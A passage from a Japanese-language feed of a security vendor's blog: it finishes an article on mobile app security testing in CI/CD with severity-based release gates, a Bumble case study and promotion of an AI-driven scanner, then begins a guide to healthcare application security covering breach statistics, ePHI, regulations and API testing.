&lt;li&gt;関連する場合は、リクエスト、ペイロード、レスポンス&lt;/li&gt;
&lt;li&gt;有用な場合は、裏付けとなるログやスクリーンショット&lt;/li&gt;
&lt;li&gt;明確な修復の方向性または問題の分類&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ここで有用な基準が、&lt;strong&gt;推測不要のルール&lt;/strong&gt;です。受け取ったチームが、何が起きたのか、なぜそれが重要なのか、どう再現するのかを推測しなければならないなら、その検出結果はまだ準備ができていません。モバイルでは、問題が実行時の状態、画面遷移の順序、端末の条件、バックエンドの挙動に依存することが多いため、これはさらに重要になります。&lt;/p&gt;
&lt;p&gt;エビデンスの質はガバナンスも支えます。検出結果がエビデンスに富み再現可能であれば、リリースの責任者はより適切な重大度の判断を下し、より確信を持って修正を検証できます。&lt;/p&gt;
&lt;h2 id="ci/cdにおけるモバイルセキュリティテスト:デフォルトでデリバリーをブロックせずに運用する方法"&gt;&lt;strong&gt;CI/CDにおけるモバイルセキュリティテスト：デフォルトでデリバリーをブロックせずに運用する方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;最良の&lt;strong&gt;モバイルセキュリティテストのCI/CD&lt;/strong&gt;モデルは、スピード、カバレッジ、ガバナンスを兼ね備えています。セキュリティチェックはリリースに歩調を合わせられるだけの頻度で実行する必要がありますが、すべてのビルドをボトルネックに変えてしまうような形であってはなりません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="継続的な検証パイプラインが、プルリクエストから本番環境まで、高速なセキュリティチェックとより深いスキャンをどのように統合し、CI/CDワークフローのあらゆる段階でコードの品質とセキュリティを確保するかを示す図。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_testing_best_practices/Continuous Validation Pipeline.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="パターン1:ciでトリガーされるテスト"&gt;&lt;strong&gt;パターン1：CIでトリガーされるテスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;CIでトリガーされるテストは、コードやビルドが変更されたときに、チームに素早いフィードバックを与えます。これらのチェックは、リリースのワークフローに応じて、プルリクエスト、マージ、リリースブランチで実行されることがあります。重要なのは、初期のチェックを高速かつ的確に保ち、より深いテストは後の段階に回すことです。&lt;/p&gt;
&lt;h3 id="パターン2:定期スキャン"&gt;&lt;strong&gt;パターン2：定期スキャン&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;定期スキャンはドリフトを捉えるため不可欠です。モバイルアプリは、SDKの更新、バックエンドの変更、新しいエンドポイント、そして時間とともに積み重なるリリースの変更によって変化します。定期的なテストは、変更単位のワークフローを補完する、繰り返し確認できるベースラインを提供します。&lt;/p&gt;
&lt;h3 id="パターン3:重大度に基づくリリースゲート"&gt;&lt;strong&gt;パターン3：重大度に基づくリリースゲート&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;リリースゲートは、テストを行動につなげます。一般的なポリシーは、&lt;strong&gt;クリティカルと高の検出結果は、修正されて検証されるまでリリースをブロックする&lt;/strong&gt;一方、中以下の検出結果は修復パイプラインに流すというものです。これにより、セキュリティを任意のものとして扱うことなく、開発スピードを維持する方法が得られます。&lt;/p&gt;
&lt;h3 id="ワークフロー連携のチェックリスト"&gt;&lt;strong&gt;ワークフロー連携のチェックリスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;拡張可能なモバイルAppSecのワークフローは、通常次のものと連携します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CI/CDプラットフォーム&lt;/li&gt;
&lt;li&gt;課題管理システム&lt;/li&gt;
&lt;li&gt;コラボレーションツールと通知ツール&lt;/li&gt;
&lt;li&gt;SSOとアクセス管理&lt;/li&gt;
&lt;li&gt;ソース管理とリリースのワークフロー&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OstorlabのHigh-Techソリューションは、&lt;strong&gt;開発パイプラインにおける継続的なテスト&lt;/strong&gt;、&lt;strong&gt;再現可能で実証に裏付けられた検出結果&lt;/strong&gt;、&lt;strong&gt;すべてのリリースにわたる継続的な検証&lt;/strong&gt;、そして&lt;strong&gt;Jira、GitHub、GitLab、Jenkins、Bitrise、Slack、ServiceNow、Okta、Azure DevOps&lt;/strong&gt;などのプラットフォームとの連携を軸に位置付けられています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/integrations/github/index.html"&gt;&lt;em&gt;OstorlabがCI/CDにおける継続的なモバイルセキュリティテストをどのように支援するかを見る&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="モバイルアプリのための重大度に基づくリリースゲート:実践的なポリシー"&gt;&lt;strong&gt;モバイルアプリのための重大度に基づくリリースゲート：実践的なポリシー&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;優れたリリースポリシーは、テストを行動に変えます。それがなければ、チームは決まったプロセスに従う代わりに、締め切りのプレッシャーの中で検出結果をめぐって議論することになります。&lt;/p&gt;
&lt;p&gt;実践的なモデルは次のようになります。
&lt;figure&gt;&lt;img alt="モバイルアプリのための重大度に基づくリリースゲートポリシー：クリティカルと高の問題ではリリースをブロックし、中は修復を追跡し、低は堅牢化を計画し、情報レベルの検出結果は記録して、チーム間で一貫したセキュリティを実現する。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_testing_best_practices/severity_based_release_gating_policy.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;このモデルは、よくある2つの失敗のパターンを避けられます。1つ目は、&lt;strong&gt;あらゆるものでリリースをブロックする&lt;/strong&gt;ことです。これは疲弊を生み、セキュリティを常に障害物のように感じさせます。2つ目は、&lt;strong&gt;何もブロックしない&lt;/strong&gt;ことです。これはガバナンスを、実際の制御ではなく形だけのプロセスに変えてしまいます。&lt;/p&gt;
&lt;p&gt;開発スピードの速いチームにとって適切なバランスとは、明確な重大度のしきい値、信頼できるエビデンス、そしてアプリやチームをまたいだ予測可能な対応です。&lt;/p&gt;
&lt;h2 id="bumbleの事例:リリースの速度に合わせた継続的なモバイルセキュリティテスト"&gt;&lt;strong&gt;Bumbleの事例：リリースの速度に合わせた継続的なモバイルセキュリティテスト&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Bumbleの公開事例は、&lt;strong&gt;継続的なモバイルセキュリティテスト&lt;/strong&gt;をiOSとAndroidのリリースプロセスに直接組み込む方法を示しています。この事例によれば、Bumbleは&lt;strong&gt;定期スキャン&lt;/strong&gt;とあわせて&lt;strong&gt;CIから開始されるスキャン&lt;/strong&gt;を実行しており、主要なリリースの時点だけでなく、アプリが時間とともに変化するのに合わせて継続的にセキュリティを検証できるようにしています。&lt;/p&gt;
&lt;p&gt;この事例は、実践的なリリースポリシーも示しています。&lt;strong&gt;高とクリティカルの検出結果は、修復が完了し、問題が解決されたことが確認されるまでリリースをブロックし&lt;/strong&gt;、一方で&lt;strong&gt;中、低、情報レベルの検出結果は、自動的にデリバリーをブロックするのではなく修復パイプラインに流れます&lt;/strong&gt;。Bumbleはまた、エンジニアが問題を素早く再現し、トリアージのあいまいさを減らせるよう、スキャンの概要から生のエビデンスまでのトレーサビリティを重視しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/case-studies/bumble"&gt;&lt;em&gt;Bumbleの事例の全文を読む。&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="モバイルappsecにおけるコンプライアンスと規制上の考慮事項"&gt;&lt;strong&gt;モバイルAppSecにおけるコンプライアンスと規制上の考慮事項&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;コンプライアンスは&lt;strong&gt;モバイルアプリケーションセキュリティテスト&lt;/strong&gt;の代わりにはなりません。コンプライアンスが変えるのは、組織が何をエビデンスとして示さなければならないか、そしてリリースをどう統制するかです。モバイルアプリは個人データを処理し、識別子に依存し、サードパーティSDKを組み込み、複数の地域にまたがって運用されることが多いため、コンプライアンス要件がモバイルAppSecの運用モデルに影響を与えることはよくあります。&lt;/p&gt;
&lt;h3 id="プライバシーとデータ保護"&gt;&lt;strong&gt;プライバシーとデータ保護&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GDPR&lt;/strong&gt;は、欧州におけるテレメトリ、個人データ、識別子、サードパーティとのデータ共有についてのチームの考え方に影響します。&lt;strong&gt;CCPA/CPRA&lt;/strong&gt;も、カリフォルニアを対象とする文脈で同様の影響を持ちます。どちらの場合も、チームはデータの取り扱い、SDKの挙動、ストレージ、意図しない露出について、より高い可視性を必要とします。&lt;/p&gt;
&lt;h3 id="セキュリティとレジリエンス"&gt;&lt;strong&gt;セキュリティとレジリエンス&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;NIS2&lt;/strong&gt;や&lt;strong&gt;DORA&lt;/strong&gt;などのフレームワークは、サイバーリスク管理、レジリエンス、サードパーティの監督、統制されたリリースプロセスに対する期待を高めています。モバイルチームにとって、これはその場しのぎのテストを正当化しにくくなることを意味します。&lt;/p&gt;
&lt;h3 id="業界固有の要件"&gt;&lt;strong&gt;業界固有の要件&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HIPAA&lt;/strong&gt;は、モバイルアプリが保護対象保健情報を扱う場合に関係します。&lt;strong&gt;PCI DSS&lt;/strong&gt;は、アプリが決済カードのフローに直接関与する場合に関係します。どちらの場合も、ストレージ、セッション、サードパーティのコンポーネント、機密性の高いワークフローに関するテストがさらに重要になります。&lt;/p&gt;
&lt;h3 id="保証フレームワーク"&gt;&lt;strong&gt;保証フレームワーク&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;SOC 2&lt;/strong&gt;と&lt;strong&gt;ISO 27001&lt;/strong&gt;は、モバイル特有のテストケースを定めてはいませんが、再現可能なセキュリティ制御、明確なワークフロー、そして問題が一貫して処理されていることを示す文書化されたエビデンスの必要性を強めています。&lt;/p&gt;
&lt;p&gt;要点はシンプルです。コンプライアンスは、&lt;strong&gt;継続的なテスト、エビデンスが豊富な検出結果、重大度に基づくリリースガバナンス&lt;/strong&gt;の重要性を高めます。&lt;/p&gt;
&lt;h2 id="モバイルappsecテストソリューションの評価方法"&gt;&lt;strong&gt;モバイルAppSecテストソリューションの評価方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;モバイルAppSecテストソリューション&lt;/strong&gt;の選定は、単なるツールの判断ではありません。ワークフロー、カバレッジ、ガバナンスに関する判断でもあります。適切なプラットフォームは、チームが実際のモバイルのリスクを継続的に検証し、エンジニアが素早く再現できる検出結果を生み出し、複数のアプリやチームをまたいで予測可能なリリース判断を下せるよう支援するものであるべきです。&lt;/p&gt;
&lt;h3 id="1. カバレッジ:実際のモバイルのリスクを反映しているか"&gt;&lt;strong&gt;1. カバレッジ：実際のモバイルのリスクを反映しているか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;優れたソリューションは、&lt;strong&gt;ディープリンク、WebView、端末上のストレージ、認証済みのフロー、サードパーティSDKによる露出、アプリとAPIの間のやり取り&lt;/strong&gt;をカバーすべきです。本番環境で最も重要なアタックサーフェスを見落としているなら、汎用的なアプリセキュリティの機能では不十分です。&lt;/p&gt;
&lt;h3 id="2. エビデンスの質:チームは検出結果を素早く再現して修正できるか"&gt;&lt;strong&gt;2. エビデンスの質：チームは検出結果を素早く再現して修正できるか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;再現手順、リクエスト／レスポンスのコンテキスト、そして推測を排除できるだけの実行時の詳細を備えた、&lt;strong&gt;エビデンスが豊富な検出結果&lt;/strong&gt;を探してください。優れたエビデンスこそが、テストをトリアージの負担の増加ではなく、より速い修復へと変えるものです。&lt;/p&gt;
&lt;h3 id="3. デリバリーとの適合性:チームが実際にリリースする方法に合っているか"&gt;&lt;strong&gt;3. デリバリーとの適合性：チームが実際にリリースする方法に合っているか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;ソリューションは、&lt;strong&gt;CI/CDのワークフロー、定期的な検証、重大度に基づくリリースゲート&lt;/strong&gt;に対応しているべきです。また、課題管理、コラボレーションツール、ポートフォリオレベルのガバナンスモデルとも連携すべきです。&lt;/p&gt;
&lt;h3 id="4. ノイズへの対処:チームはシグナルを信頼できるか"&gt;&lt;strong&gt;4. ノイズへの対処：チームはシグナルを信頼できるか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;開発スピードの速いチームは、信頼度の低い大量の出力を処理しきれません。優れたソリューションは、誤検知を減らし、弱い検出結果の重複を排除し、実際のアプリの条件下で重要な問題を優先順位付けするのに役立つべきです。&lt;/p&gt;
&lt;h3 id="購入者が確認すべき質問"&gt;&lt;strong&gt;購入者が確認すべき質問&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ディープリンク、WebView、ローカルストレージ、SDKによる露出、認証済みのフロー、アプリとAPIの間のやり取りをカバーしているか。&lt;/li&gt;
&lt;li&gt;エンジニアが素早く再現できる、エビデンスが豊富な検出結果を生み出せるか。&lt;/li&gt;
&lt;li&gt;CI/CD、定期スキャン、リリースゲートに対応しているか。&lt;/li&gt;
&lt;li&gt;複数のアプリやチームにまたがって拡張できるか。&lt;/li&gt;
&lt;li&gt;誤検知とトリアージのあいまいさをどのように減らすか。&lt;/li&gt;
&lt;li&gt;実際のエンドポイントと実際のアプリケーションの挙動に即した内容を保てるか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;OstorlabのHigh-Techソリューションは、&lt;strong&gt;現代のモバイルのアタックサーフェスの深いカバレッジ&lt;/strong&gt;、&lt;strong&gt;アプリからバックエンドサービスまでのエンドツーエンドの可視性&lt;/strong&gt;、&lt;strong&gt;再現可能で実証に裏付けられた検出結果&lt;/strong&gt;、そして&lt;strong&gt;すべてのリリースにわたる継続的な検証&lt;/strong&gt;を軸に位置付けられています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/solutions/high_tech"&gt;&lt;em&gt;Ostorlabが、エビデンスが豊富な検出結果、CI/CD連携、重大度に基づくリリースゲートによって、ハイテク企業のチームが継続的なモバイルAppSecテストを拡張できるようどのように支援するかを見る。&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="モバイルアプリセキュリティテストの未来"&gt;&lt;strong&gt;モバイルアプリセキュリティテストの未来&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;モバイルアプリセキュリティテスト&lt;/strong&gt;の未来は、定期的なスキャンや単発の時点でのレビューを超えたものへと向かっています。モバイルアプリが&lt;strong&gt;API、サードパーティSDK、複雑なユーザーワークフロー、実行時のロジック&lt;/strong&gt;への依存を強めるにつれ、セキュリティチームには、アプリケーションが本番環境で実際にどう振る舞うかを反映したテストが必要になります。その流れは、理論上の問題にフラグを立てるだけでなく、実際の攻撃経路を検証できる、&lt;strong&gt;継続的で悪用可能性に重点を置いたテスト&lt;/strong&gt;へと向かっています。&lt;/p&gt;
&lt;p&gt;この変化が重要なのは、実際のビジネスリスクを生む脆弱性の多くが、もはや単純なコーディングミスではないからです。現代のモバイルの欠陥は、&lt;strong&gt;認証状態、セッションの遷移、オンボーディングや決済のフロー、APIの認可ロジック、そしてアプリ、バックエンドサービス、組み込みSDKにまたがる信頼境界&lt;/strong&gt;に依存していることがよくあります。従来の静的チェックや汎用的な実行時スキャンも依然として重要な役割を果たしますが、問題が現実的な条件下で本当に悪用可能かどうかを常に明らかにできるわけではありません。&lt;/p&gt;
&lt;p&gt;ここで、次世代の&lt;strong&gt;AIを活用したモバイルセキュリティテスト&lt;/strong&gt;の重要性が増します。市場は、アプリケーションの挙動を探索し、複雑なフローをたどり、影響の大きい脆弱性とノイズの多い検出結果をチームが見分けられるよう支援する、より深くワークフローを理解したテストへと向かっています。高速にリリースするチームにとって、それはより良いシグナルを意味します。抽象的なアラートが減り、実際の悪用可能性に結び付いたエビデンスが増えるということです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OstorlabのAgentic Deep Scan&lt;/strong&gt;は、その方向性を反映しています。Ostorlabはこれを、&lt;strong&gt;iOSとAndroid&lt;/strong&gt;向けの次世代の&lt;strong&gt;AIを活用したモバイルアプリセキュリティテスト&lt;/strong&gt;スキャナーとして位置付けています。AIの能力を使って現実世界の攻撃をシミュレートし、&lt;strong&gt;モバイルアプリ、それを支えるAPI、組み込みSDK&lt;/strong&gt;にわたって本当に悪用可能な脆弱性を検出し、&lt;strong&gt;実証レベルのエビデンス&lt;/strong&gt;と修復後の&lt;strong&gt;検証のための再テスト&lt;/strong&gt;を提供します。Ostorlabはまた、&lt;strong&gt;2FAやOTPを含む認証済みのフロー&lt;/strong&gt;のテストへの対応も強調しています。これは、実際のユーザーの状態や保護されたワークフローの中でしか現れないモバイルの脆弱性を特定するうえで極めて重要です。&lt;/p&gt;
&lt;p&gt;ハイテク企業のチームにとって、これはモバイルAppSecの役割を変えるものです。セキュリティテストは主にレポーティングのレイヤーとして機能するのではなく、&lt;strong&gt;何が本当に悪用可能なのか、なぜそれが重要なのか、そして修正が実際に問題を解決したのか&lt;/strong&gt;を検証する手段になります。これにより、検出から修復までの道のりが短くなり、速いリリースサイクルの中でセキュリティテストがより役立つものになります。&lt;/p&gt;
&lt;p&gt;長期的な方向性は明らかです。モバイルセキュリティテストは今後ますます、&lt;strong&gt;現実世界の攻撃シミュレーション、悪用可能性を考慮した検証、より強力な実行時のコンテキスト、そしてエンジニアリングチームが素早く対応できるノイズの少ない検出結果&lt;/strong&gt;によって定義されるようになるでしょう。このモデルを採用するチームは、デリバリーに不要な摩擦を加えることなく、iOSとAndroidのリリースを大規模に保護するうえで、より有利な立場に立てるはずです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;&lt;em&gt;OstorlabのAgentic Deep Scanが、AIを活用したテスト、実証レベルのエビデンス、検証のための再テストによって、チームが悪用可能なモバイルの脆弱性を検出するのをどのように支援するかを見る。&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="Security"/><category term="Mobile"/><category term="MAST"/></entry><entry><title>ヘルスケアアプリケーションのセキュリティテストガイド</title><link href="https://blog.ostorlab.co/ja/healthcare-application-security-testing-guide.html" rel="alternate"/><published>2026-04-16T16:00:00+02:00</published><updated>2026-09-28T00:00:00+02:00</updated><author><name>Kawtar Boumaan</name></author><id>tag:blog.ostorlab.co,2026-04-16:/ja/healthcare-application-security-testing-guide.html</id><summary type="html">&lt;p&gt;患者ポータル、医療アプリ、API、SaMDのセキュリティテスト方法を解説します。ePHIのリスク、HIPAAとGDPRの義務、SDLCでのテスト、継続的な監視、インシデント対応まで。&lt;/p&gt;</summary><content type="html">&lt;p&gt;ヘルスケアは現在、最も標的にされている業界の一つです。その背景には、モバイルヘルスアプリケーション、患者ポータル、APIといったデジタル技術の急速な普及があります。&lt;a href="https://www.hipaajournal.com/"&gt;The HIPAA Journal&lt;/a&gt;によると、2024年にヘルスケア分野の侵害の影響を受けた人は&lt;strong&gt;2億8,900万&lt;/strong&gt;人を超え、前年から&lt;strong&gt;58%&lt;/strong&gt;増加しました。Change Healthcareへのランサムウェア攻撃だけでも、推定&lt;strong&gt;1億9,270万&lt;/strong&gt;人が影響を受け、ヘルスケア史上最大の侵害となりました。&lt;/p&gt;
&lt;p&gt;医療の提供がアプリケーション主導になるにつれ、アタックサーフェスは、機密データが処理され露出するアプリケーション層へと移っています。これにより、患者の安全、機密データ、規制コンプライアンスにまたがるリスクが生じ、レジリエンスと信頼を維持するうえでアプリケーションセキュリティテストが不可欠になっています。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;figure&gt;&lt;img alt="最大の侵害の影響を受けたのは1億9,270万人。14年連続で、データ侵害のコストが最も高い業界に。1件あたりの平均コストは742万ドル。特定と封じ込めに平均279日" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_healthcare_pillar_article/Pillar_stats.png" title="2025年のデータ侵害に関する主要統計"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;2025年のデータ侵害に関する主要統計&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="ヘルスケアのデジタルトランスフォーメーションとセキュリティへの影響"&gt;&lt;strong&gt;ヘルスケアのデジタルトランスフォーメーションとセキュリティへの影響&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;ヘルスケアは、孤立したシステムから、相互接続されたアプリケーション主導のエコシステムへと進化してきました。電子カルテは現在、遠隔医療アプリ、患者ポータル、遠隔モニタリングツール、クラウドネイティブなサービスと連携し、リアルタイムのデータ交換と効率的な医療を可能にしています。これはアクセス性と業務を改善する一方で、連携ポイントの一つひとつが潜在的なセキュリティリスクをもたらします。&lt;a href="https://commission.europa.eu/index_en"&gt;欧州委員会&lt;/a&gt;は、2023年にヘルスケアがほかのどの重要セクターよりも多くのサイバーセキュリティインシデントを経験したと報告しており、こうした環境を保護することの複雑さを反映しています。&lt;/p&gt;
&lt;p&gt;この進化により、アプリケーション層のアタックサーフェスが拡大しています。モバイルアプリやWebアプリは主要な侵入口となり、APIは重要なデータ交換を担い、Software as a Medical Device（SaMD）はソフトウェアの脆弱性を臨床結果に結び付けます。サードパーティへの依存はリスクを増幅させます。近年盗まれた医療記録の&lt;strong&gt;80%&lt;/strong&gt;以上は、病院から直接ではなく外部サービスに由来するものでした。&lt;/p&gt;
&lt;p&gt;アプリケーションの無秩序な増加は、セキュリティをさらに複雑にします。断片化した環境、時代遅れのシステム、把握されていないAPIは可視性を低下させ、脆弱性を放置させます。管理を維持し、リスクを早期に特定し、現代のヘルスケアの複雑さに対応し続けるには、継続的なアプリケーションセキュリティテストが不可欠です。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="電子カルテと、接続されたヘルスケア端末やツールとの間で行われる無数のデータ交換を表した図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_healthcare_pillar_article/Pillar_EHR.png" title="電子カルテシステムのやり取りとePHIの流れ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;電子カルテシステムのやり取りとePHIの流れ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="ヘルスケアデータの機密性"&gt;ヘルスケアデータの機密性&lt;/h2&gt;
&lt;p&gt;ヘルスケアデータは、個人情報、医療情報、金融情報を一つの記録にまとめて持つため、ほかに類を見ない価値があります。そのためサイバー犯罪者の格好の標的となり、なりすまし、保険金詐欺、地下市場での転売に悪用されます。金融データとは異なり、ヘルスケア情報は一度侵害されると変更が困難です。そのため長期的な価値が高まるとともに、侵害が個人や組織に及ぼし得る影響も大きくなります。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;14年連続で、ヘルスケアはあらゆる業界の中でデータ侵害のコストが最も高く、1件あたりの平均コストは742万ドルに達しています。&lt;/p&gt;
&lt;p&gt;&lt;div align="right"&gt;IBM Security - Cost of a Data Breach 2025 Report&lt;/div&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br/&gt;
こうした機密データは、現代のヘルスケアアプリケーションの複数の層に分散しています。モバイルやWebのインターフェース、ワークフローを処理・管理するバックエンドシステム、相互運用性を実現するAPI、そしてリアルタイムの患者データを生成する接続デバイスに存在します。多くの場合クラウドベースの環境に保存されており、潜在的な露出ポイントの数はさらに増えます。これらのコンポーネントのいずれかに脆弱性があれば、データフロー全体が危険にさらされる可能性があるため、エンドツーエンドのセキュリティが不可欠です。&lt;/p&gt;
&lt;p&gt;電子保護対象医療情報（ePHI）はこうしたリスクの中心にあり、アプリケーションのあらゆる層で保護されなければなりません。アプリケーションセキュリティテストは、ePHIがどこで処理、保存、送信されているかを特定するとともに、アクセス制御、暗号化、データの取り扱い方法を検証するうえで重要な役割を果たします。脆弱性を先回りして検出することで、組織は不正アクセスやデータ漏えいを防ぎ、規制コンプライアンスと患者の信頼の両方を確保できます。&lt;/p&gt;
&lt;h2 id="ヘルスケアアプリケーションにおける規制、コンプライアンス、セキュアな開発"&gt;ヘルスケアアプリケーションにおける規制、コンプライアンス、セキュアな開発&lt;/h2&gt;
&lt;p&gt;ヘルスケアアプリケーションは、患者データとシステムの完全性を守るための厳しい規制の対象となっています。米国のHIPAA、欧州のEU一般データ保護規則（GDPR）、そして病院のサイバーセキュリティに関するEU Action Planといった取り組みが、データの取り扱いについて明確な要件を定めています。ISO/IEC 27001、HITRUST CSF、SOC 2などの標準は、リスク管理、アクセス制御、監査可能性に関する期待事項を定義しています。アプリケーションはePHIの主要なインターフェースであるため、そのセキュリティはコンプライアンス、業務の継続性、患者の信頼の中核をなします。&lt;/p&gt;
&lt;p&gt;開発プロセスにおける構造化されたセキュリティフレームワークは極めて重要です。セキュアなソフトウェア開発ライフサイクル（SDLC）は、設計からデプロイ、保守に至るまでセキュリティを組み込み、制御、社内ポリシー、継続的な検証を含みます。アプリケーションセキュリティテストは、脆弱性を早期に特定し、認証や暗号化といった仕組みを検証し、継続的なセキュリティを確保します。&lt;/p&gt;
&lt;p&gt;コンプライアンスフレームワークは、リスク管理と説明責任に対する構造化されたアプローチを提供します。組織は、HITRUST、ISO 27001、SOC 2などの標準を満たすために、制御を導入し、評価を実施し、文書を維持しなければなりません。&lt;a href="https://ostorlab.co/"&gt;アプリケーションセキュリティテスト&lt;/a&gt;は、脆弱性が体系的に対処されていることを示す測定可能なエビデンスを提供し、実務を規制当局の期待に沿わせ、全体的なセキュリティ態勢を強化します。&lt;/p&gt;
&lt;h2 id="ヘルスケアにおけるアプリケーション層の脅威を理解する"&gt;ヘルスケアにおけるアプリケーション層の脅威を理解する&lt;/h2&gt;
&lt;p&gt;ヘルスケアアプリケーションは、機密性の高いデータや重要なシステムへの直接のアクセスを提供するため、サイバー攻撃の格好の標的です。患者ポータルからモバイルアプリまで、こうしたアプリケーションの多くは一般に公開されており、露出の可能性が高まります。最近の統計によると、ハッキングとITインシデントは現在、大規模なヘルスケアデータ侵害全体の&lt;strong&gt;80%&lt;/strong&gt;以上を占めています。同時に、短い開発サイクルと頻繁なアップデートは、セキュリティが開発プロセスに十分に組み込まれていなければ脆弱性を生み出す可能性があります。これらの要因が組み合わさることで、アプリケーション層は攻撃者にとって最も魅力的で効果的な攻撃ポイントの一つになっています。&lt;/p&gt;
&lt;p&gt;ヘルスケアアプリケーションによく見られる脆弱性には、安全でないAPI、脆弱な認証メカニズム、機密データの不適切な取り扱い、設定ミスなどがあります。外部ライブラリ、ソフトウェア開発キット（SDK）、サービスといったサードパーティのコンポーネントは、これらの依存関係に欠陥があればアプリケーションがそれを引き継ぐ可能性があるため、リスクをさらに増幅させます。これらの弱点を悪用することで、攻撃者は機密情報にアクセスしたり、アプリケーションの挙動を操作したり、内部システムに不正に侵入したりできます。これらの脆弱性に対処するには、アプリケーションエコシステムのすべての層にわたる、継続的かつ包括的なテストと監視が必要です。&lt;/p&gt;
&lt;p&gt;ヘルスケアにおけるアプリケーションセキュリティの失敗がもたらす結果は深刻になり得ます。データ侵害は、機密性の高い患者情報を露出させ、組織の評判を損ない、金銭的・規制上の罰則を招く可能性があります。アプリケーションの停止は、臨床ワークフローを中断させ、患者のケアを遅らせ、業務の継続性を損なう可能性があります。極端な場合、攻撃者は脆弱性を利用して重要なシステムを不正に制御できます。これこそが、ヘルスケアの業務と患者の安全の両方を守るうえで、アプリケーションの保護が不可欠である理由です。&lt;/p&gt;
&lt;h2 id="ヘルスケアアプリケーションのエコシステムを保護する"&gt;ヘルスケアアプリケーションのエコシステムを保護する&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/solutions/healthcare"&gt;ヘルスケアアプリケーションの保護&lt;/a&gt;には、患者向けアプリ、API、医療機器で使用されるソフトウェア、サードパーティとの連携を網羅する包括的なアプローチが必要です。モバイルアプリやWebポータルなどの患者向けアプリケーションは、ユーザーとのやり取りを保護し、機密データを安全に取り扱っていることを確認するため、徹底的にテストしなければなりません。これには、認証プロセスの検証、データが安全に保存されていることの確認、一般的な脆弱性への防御が含まれます。こうしたアプリケーションはユーザーに直接公開されているため、弱点があればすぐに悪用される可能性があり、全体的なセキュリティ態勢において重要な要素となります。&lt;/p&gt;
&lt;p&gt;APIは、システム間のシームレスなデータ交換を可能にすることで現代のヘルスケアアーキテクチャの中心的な役割を担っていますが、適切に保護されていなければ重大なリスクをもたらします。APIのセキュリティテストでは、次の点に重点を置きます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;露出しているエンドポイントの特定  &lt;/li&gt;
&lt;li&gt;アクセス制御と認証の検証  &lt;/li&gt;
&lt;li&gt;機密データが不適切に開示されていないことの確認&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Software as a Medical Device（SaMD）は、さらにもう一つの責任の層を加えます。これらのアプリケーションは臨床結果に直接影響するため、脆弱性は患者の安全に現実の影響を及ぼす可能性があります。テストでは、SaMDがレジリエントでコンプライアンスを満たし、臨床環境で安全に動作できることを確認しなければなりません。&lt;/p&gt;
